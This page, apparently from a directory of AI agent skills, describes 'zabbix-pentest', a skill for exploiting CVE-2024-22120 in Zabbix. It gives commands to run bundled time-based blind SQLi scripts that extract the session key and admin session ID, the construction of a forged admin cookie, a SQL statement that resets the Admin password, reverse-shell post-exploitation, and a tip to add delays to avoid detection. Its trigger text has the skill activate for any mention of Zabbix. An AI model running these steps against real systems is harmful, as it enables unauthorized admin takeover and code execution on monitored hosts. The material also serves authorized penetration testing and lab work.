# Zabbix Pentest

> Zabbix security assessment and exploitation. Use this skill whenever the user mentions Zabbix monitoring, CVE-2024-22120, Zabbix SQLi, Zabbix cookie forgery, Zabbix RCE, or any Zabbix-related security testing. Trigger for Zabbix web UI assessment, port 10051/10050 enumeration, session cookie analysis, blind SQLi exploitation, admin privilege escalation, and post-exploitation activities on Zabbix infrastructure.

- Skill: `abelrguezr/zabbix-pentest` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/zabbix-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/zabbix-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/zabbix-pentest

---


# Zabbix Security Assessment

A skill for assessing Zabbix monitoring infrastructure, exploiting CVE-2024-22120, and performing post-exploitation activities.

## When to Use This Skill

Use this skill when:
- Assessing Zabbix monitoring systems (web UI or server ports)
- Investigating CVE-2024-22120 vulnerabilities
- Analyzing or forging Zabbix session cookies
- Performing time-based blind SQLi against Zabbix server
- Escalating from low-priv to admin access in Zabbix
- Executing scripts or achieving RCE via Zabbix
- Capturing credentials or pivoting from Zabbix access

## Quick Start

```bash
# Full automated exploit (requires low-priv sessionid)
python scripts/zabbix_exploit.py --target zabbix.example.tld --sid <low-priv-sessionid>

# Manual exploitation steps
python scripts/zabbix_sqli.py --target zabbix.example.tld --port 10051 --sid <sessionid> --hostid 10084 --scriptid 1
```

## Zabbix Architecture

Zabbix exposes three attack surfaces:

| Component | Port | Protocol | Notes |
|-----------|------|----------|-------|
| Web UI | 80/443 | HTTP(S) | Login, session management |
| Server | 10051 | ZBXD/JSON | Audit log SQLi vector |
| Agent | 10080 | ZBXD/JSON | Agent communication |

## Exploitation Workflow

### Phase 1: Reconnaissance

1. **Identify Zabbix installation**
   - Look for `/zabbix.php` endpoints
   - Check for `zbx_session` cookies
   - Scan ports 10050/10051

2. **Obtain low-priv sessionid**
   - Login as guest or low-priv user via web UI
   - Decode `zbx_session` cookie (Base64)
   - Extract `sessionid` field (32 hex chars)

3. **Discover hostid and scriptid**
   - Navigate to Monitoring → Hosts in web UI
   - Intercept requests to find `hostid` (default: 10084)
   - Check script menu for available `scriptid` values (1, 2 often allowed)

### Phase 2: CVE-2024-22120 Exploitation

The vulnerability allows time-based blind SQLi via the Zabbix server port when executing scripts.

**Attack flow:**
1. Send crafted `command` request to port 10051
2. Inject SQL payload in `clientip` field
3. Measure response time to bruteforce secrets
4. Extract `session_key` and admin `sessionid`
5. Forge admin cookie

**Use the bundled script:**
```bash
python scripts/zabbix_sqli.py \
  --target zabbix.example.tld \
  --port 10051 \
  --sid <low-priv-sessionid> \
  --hostid 10084 \
  --scriptid 1 \
  --extract session_key \
  --timeout-true 10 \
  --timeout-false 1
```

### Phase 3: Admin Access

Once you have `session_key` and admin `sessionid`:

```bash
python scripts/zabbix_cookie.py \
  --session-key <32-hex-key> \
  --session-id <admin-sessionid> \
  --output cookie.txt
```

Set the `zbx_session` cookie in your browser and access `/zabbix.php?action=dashboard.view`

### Phase 4: Post-Exploitation

**Execute scripts on monitored hosts:**
- Use Admin UI to run predefined scripts
- Scripts execute as `zabbix` user on target hosts
- Can achieve reverse shell if command execution is available

**Alternative: Reset Admin password**
If you have database access:
```sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
```
This sets password to `zabbix`.

## Cookie Format

The `zbx_session` cookie structure:

```python
# Data payload
data = {
    "sessionid": "<32-hex>",
    "serverCheckResult": True,
    "serverCheckTime": <unix_timestamp>
}

# Signature
sign = HMAC_SHA256(
    key=session_key,
    data=json.dumps(data, sort_keys=True, separators=(',', ':'))
)

# Final cookie
zbx_session = base64.b64encode(json.dumps({**data, "sign": sign}))
```

## Timing Attack Parameters

| Parameter | Recommended Value | Purpose |
|-----------|-------------------|---------|
| T_TRUE | 8-12 seconds | Delay when condition is true |
| T_FALSE | 1-2 seconds | Delay when condition is false |
| Charset | 0-9a-f | Hex characters for session keys |
| Length | 32 chars | Session key and sessionid length |

## Operational Tips

- **Validate scriptid**: Ensure the scriptid is permitted for your role before brute-forcing
- **Cache results**: Save recovered admin sessionid for reuse
- **Rate limiting**: Add delays between requests to avoid detection
- **Connection pooling**: Reuse TCP connections when possible
- **Error handling**: Handle connection timeouts gracefully

## Bundled Scripts

| Script | Purpose |
|--------|--------|
| `scripts/zabbix_frame.py` | Frame ZBXD protocol messages |
| `scripts/zabbix_sqli.py` | Time-based SQLi bruteforce |
| `scripts/zabbix_cookie.py` | Forge admin session cookies |
| `scripts/zabbix_exploit.py` | Full exploit orchestration |

## References

- [CVE-2024-22120 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-22120)
- [Zabbix Security Advisories](https://www.zabbix.com/security_advisories)
- [HTB Watcher Walkthrough](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html)
- [CVE-2024-22120-RCE Toolkit](https://github.com/W01fh4cker/CVE-2024-22120-RCE)

## Affected Versions

- 6.0.0–6.0.27
- 6.4.0–6.4.12
- 7.0.0alpha1

## Safety Notes

- Only use on systems you have authorization to test
- Time-based attacks can be slow (32 chars × 16 possibilities × 10s = ~5 minutes per secret)
- Monitor for rate limiting or IDS alerts
- Clean up any credential capture hooks after testing